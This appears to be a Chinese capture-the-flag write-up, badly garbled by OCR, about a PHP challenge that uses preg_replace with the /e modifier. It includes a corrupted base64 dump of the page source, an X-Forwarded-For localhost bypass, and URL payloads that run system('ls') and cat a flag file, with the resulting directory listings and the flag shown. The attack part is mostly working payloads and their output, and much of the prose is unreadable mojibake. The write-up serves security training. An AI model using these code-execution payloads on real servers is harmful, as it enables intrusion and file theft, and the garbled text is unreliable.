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PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNIc3Npb25fc3RhcnQoKTsKcG9zaXhfc2VOdWIkKDEwMDApOwoKCj8+Cj
whRE9DVFIQRSBIVE1MPgo8aHRtbD4K CjxoZWFkPgogICAgP G1lIdGEgY2hhcnNIdD0idXRmLTgiPgoglICAgPG1IdGEgbmFZT
0icmVuzZGVyZXIilGNvbnRIbnQ9IndlYmtpd CH+CiAgICA8bWVOYSBodHRWLWVxdWI2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRIbn
QIkIFPWVkZ2UsY2hyb21IPTEiPgogICAgP G1ldGEgbmFtZTOidmild3BvenQilGNvbnRIbnQ9IndpZHRoPWRIdmIjZS 13aWR0aCw
gaW5pdGlhbC1zY2FsZTOXLCBtYXhpbXVILXNjYWXIPTEiPgoglCAgP GxpbmsgecmVsPSJzdHIsZXNoZWV0liBocmVmPSJsYXI1a
S9jc3MvbGF5dWkuY3NzliBEZWRpYT0i YWxs|j4KICAgIDx0aXRsZT7orr7Iplfnu7 Tmiq TkuK3Iv4M8L3RpdGxIPgogICAgPG1IdGEgY
2hhcnNIdD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9ke T4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2lj4KICAgICAgICA8bGkgY2xhc3
M9ImxheXVpLW5hdi1pdGVtIGxhe XV pLXRoaXMiPjxhlGhyZWY9[j9wYWdIPWIuZGV4Ij7kupHIubPlj7Dorr7Ipfnu7 Tmig TkuK3Iv4 M8
L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmIIbGRzZX Qg Y2xhc3M9ImxheXVpLWVsZWO0tZmilbGQgbGF5dWktZmllbGQtdGIObG
UilIHNOe WXIPSJtYXJnaW4tdGOwOiAzMHB4Oyl+CiAgICAgICAgP GxlZ2VuzZD7orr7Iplflidfooag8L2x1Z22VVuZD4KICAgIDwvZmIlbGR
zZZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUilGIkPSJ0ZXNOIj48L3RhYmxIPgogICAgPHNjcmiwdCB0eXBIPSJ0ZX
hOL2hObWwilGIkPSJzd2I0Y2hUcGwiPgogICAgICAgIDwWhLS0g6L+26 YeM55qEIGNoZWNrZWQg55qE54q250CB5Y+q5pivoryUs
6S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBIPSJjaGVja2JveClgbmFtZT0ic2V41iB2YWx1ZT0ie3tkLmlkfX0ilGxheS1za2luPSJzd2I
0Y2gilGxheS10Z2Xh0PSLIVIB85YWzIiBsYXktZmIsdGVyP SJjaGVjaORIbW8ilHt7IGQuaWQIP TEgMDAWMYyA/ICdjaGVja2VkJyABIC
cnlH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXBOIHNyYz0ib GF 5dWkvb GF 5dWkuanMilGNo YXJzZXQ9InV0Zi041j48L3Njcml
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wdD4KICAgIDxzY3JpcHQ+CiAgICBsYXI1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb240KSB7CiAgICAgICAgdmFyIHRhYmxIDOgbG
F5dWkudGFibGUsCiAgICAgICAgICAgIGZvemOgPSBsYXI1aS5mb3JtOwoKICAgICAgICBOYWJsZS5yZW5kZXloewogICAgICAg
ICAgICBIbGVtOiANI3RIc3QNLA0gICAgICAgICAGICB1cmwbICcve29tcnRoaWsnLmpzb24nLAogICAgICAgICAGICBjZWxsTWIuV2I
kdGg6IDgwLA0gICAgICAGICAQICBjb2xzOiBbCiAgICAgICAGICAgICAgICBbCIAgICAgICAgICAGICAQICAgICAgeyB0eXBIOiANb
nVtYmVycycgfSwWKICAgICAgICAGICAgICAgGICAGICAgeyB0eXBIOiAnY2hlY2tib3gniHOsCiAgICAgICAgICAgGICAGICAgICAgIHsgZ
milbGQBICdpZCcsIHRpdGXIOIAnNSUQNLCB3aWR0aDogMTAwWLCB1bnJic216ZTogdHJ1ZSwgc29ydDogdHJ1ZSBOLAogICAgIC
AgICAgICAQGICAgICAQICB7IGZpZWxkOiAnbmFtZScsIHRpdGXIOiAnN6K6+5aSH5ZCNJywgdGVicGxldDogJyNuYW1IVHBsJyB9L
AogICAgICAgICAgGICAGICAgICAGICB7IGZpZWxkOiAnYXJIYScsIHRpdGxIOiAn5Yy65Z+fJyBOLAogICAgICAGICAGICAgICAGICAg
ICB71GZpZWxkOiAnc3RhdHVzJywgdGlObGUBICfnu7 Tmiq TniromglEnLCBtaW5XaWR0aDogMTiwLCBzb3J00iB0cnVIHOsCiAg|
CAgICAgICAgICAgICAgICAgIHsgZmIIbGQBICdjaGVjaycsIHRpdGxIOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wb
GV0OIANIBN3aXRjaF RwbCcsIHVucmVzaXplOiBOcnVIIHOKICAgICAGICAGICAGICAgGIFOKICAGICAGICAGICAgXSWKICAGICAgIC
AgICAgcGFnZTogdHJ1ZQogICAgICAgIHOpOwogICAgfSk7 CiAgICABL3NjcmiwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXI1aS51c2
UoJ2VsZW1lbnQnLCBmdW5jdGivbigpIHsKICAgICAGICB2YXIgZWxIbWVudCA9IGxheXVpLmVsZW1IbnQ7IC8v5a+86lig55qEaG
92ZXLmlYjmnpzjglHkuoznugfoj5zljZXnrYnlip/og7 3wizpniDopoHkvp3otZZIb GViZW505qih5Z22 X CiAgICAgICAgLYy/nm5HIKKZIr7 zoiKr
ngrih7sKICAgICAgICBIbGVIZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGivbihbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZ
S5sb2coZWxibSKKICAGICAGICAgICAgbGF5ZXIubXNnKGVsZWO0udGV4dCgpKTsKICAgICAGICBOKTsKICAgIHOpOwogICAgP
C9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgP SAKXOdFVFtwYWdIXTsKCmImIChpc3NIdCgkcGFnZSkpIHsKCgoKaWYgKGNOeXB
IX2F sbnVtKCRwYWdIKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgP GRpdiBzdHIsZT0idGV4dC 1hbGlnbjpjZW
50ZX1iPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBIY2hviICRwYWdIOyBkaWUoKTs/PjwvcD4KICAgIDxiciAVPjxiciAVPjx
iciAvPjxiciAvPgoKPD9waHAKCn1IbHNIewoKPz4KICAgICAGICA8YnlgLz48YnIgLz48YnigLz48YnigLz4KICAGICAQICA8ZGI2IHNO
eWxIPSJ0ZXhOLWFsaWduOmNIbnRIci+CiAgICAgICAGICAgIDxwIGNsYXNzPSJsZWFkj4KICAgICAgICAGICAgICAgIDw/cGhwC
gogICAgICAgICAgICAgICAgaWYgKHNOcnBveygkcGFnZSwgJ2lucHV0JykgPiAWKSB7CiAgICAQICAgICAgICAgICAQICAgZGIIK
Ck7CiAgICAgICAgICAgICAQICBOCgogICAgICAgICAgICAGICAgaWYgKHNOcnBveygkcGFnZSwgJ3RhOnRIeHQNKSA+IDApIHs
KICAgICAgICAgGICAQGICAGICAgICBkaWUOKTsKICAgGICAgGICAgGICAGICAGIHOKCIAgICAgICAgICAGICAGICBpZiAoc3RycG9zKCR
wYWdILCANdGV4dCcplD4gMCkgewogICAgICAgICAgICAgICAgICAGIGRpZSgpOwogICAgICAgICAGICAGICAGFQOKICAGICAgI
CAgICAgICAQIGIMICgkcGFnZSA9PTOgJ2IuZGV4LnBocCcplHsKICAgICAgICAgICAGICAGICAGICBkaWUoJ09rJyk7CiAgICAgIC
AgICAgICAgICBICIAgICAgICAgGICAGICAgICAGICAgaWsSbHVKkZSgkcGFnZSk7CiAgICAgICAgICAgICAGICAGICAgZGIKCK7Ci
AgICAgICAQICAgICAgICA/PgogICAgICAgIDWvcD4KICAGICAQICA8YNIgLz48YnigLz48YnigLz48YnIgLz4KCjw/cGhwCn19CgoKLy
/mirnkvr/nmoTIrp7njrDovpPlhaXovpPIlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5LIit55qE5Yqf61097 7yM5Y+q61095YaF6YO05Lq652G
Y5rWLEK+VCgppZiAoJFOTRVIWRVJIbJOhUVFBWFIGT1JXQVJIERURIRKk9SJ10gPTO9IC cxMjcuMC4wLENKSB7CgogICAgZ
WNobyAiPGJyID5XZWxjb211IE15IEFkbWIUICEgP GJyID4iOwoKICAgICRwWYXR0ZXJulD0gJFOHRVRbcGFOXTsKICAgICRyZXBs
YWNIbWVudCA9ICRROVUW3JIcF07CiAgICAkc3ViamVjdCA9ICRROVUW3N1YI07CgoglCAgaWYgKGIzc2VOKCRwYXR0ZXJ
uKSAMJiBpc3NIdCgkemVwbGFjZW1IbnQpICYmIGIzc2VOKCRzdWJqZWNOKSkgewogICAgICAgIHByZWdfcmVwb GFjZSgkcGF
0dGVybiwgJHJIcGxhY2ViIZW50LCAkc3ViamVjdCk7 CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIHOKCnOKCgoKCgo/
PgoKPC9ib2R5PgoKPC90dG1sPgo=
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if ($_SERVER['HTTP_X_FORWARDED FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $ GET[pat];
$replacement = $ GET[rep];
$subject = $ GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {

preg replace($pattern, $replacement, $subject);
}else{




WERBRAEBR, MARSEE=A, HFESRNE— preg_replace B+, EHiZERHHIIEE.

2Rz
mixed preg replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
% subject HILAL pattern 4, Bl replacement BEATE#k.
SR :
$pattern: EERWHNK, "TARFHBHE—NFHHA.

$replacement: FT B¥#i)FRFHRFERFHLA.

$subject: EEMEEHM B AR TR H BT AT B

$limit: ALk, WTEMERXHTEA subject FRBRIRATEHRIE. BRAR-1 (TBRED .

$count: W%, NEBPATHIRE.

R [E{E

R subject £ — M4, preg_replace() IREI—/NH, HAMER FRE—ANFRE.

WRILEH EIRE], B¥/5H subject BRE], HAMIEM T REIEHE SZER subject. WR KA R, &E NULL.
F:

1§ F In N2 % ?pat=/(.)/e&rep=system(‘ls)&sub=harry 73 Z):

<br >Welcome My Admin! <br >
index.html
index.php

js

layui
logo.png
s3chahahaDir
start.sh
EEE.png
css
index.html
index.php

js

layui
logo.png
s3chahahaDir
start.sh

SR .png

EHIMA Z%?pat=/(.)le&rep=system(‘ls+s3chahahaDir/flag’)&sub=harr{53 £ :

element.on('nav(demo)’, function(elem) {
//console.log(elem)
layer.msg(elem.text());
n:
1

</script>

<br >Welcome My Admin! <br >flag.php
flag.php

</body>

13 F N\ 2 % ?pat=/(.*)le&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=harryf3 2] : &%



<br >Welcome My Admin ! <br > <?php
| $flag = 'cyberpeace{c43b4737749f7caSd0ee2al 1e76a0452})";

>

<?php
$flag = 'cyberpeace{c43b4737749f7caSd0ee2al 1e76a0452}";

7>

Z B &Hflagi: cyberpeace{c43b4737749f7ca5d0ee2a11e76a0452}
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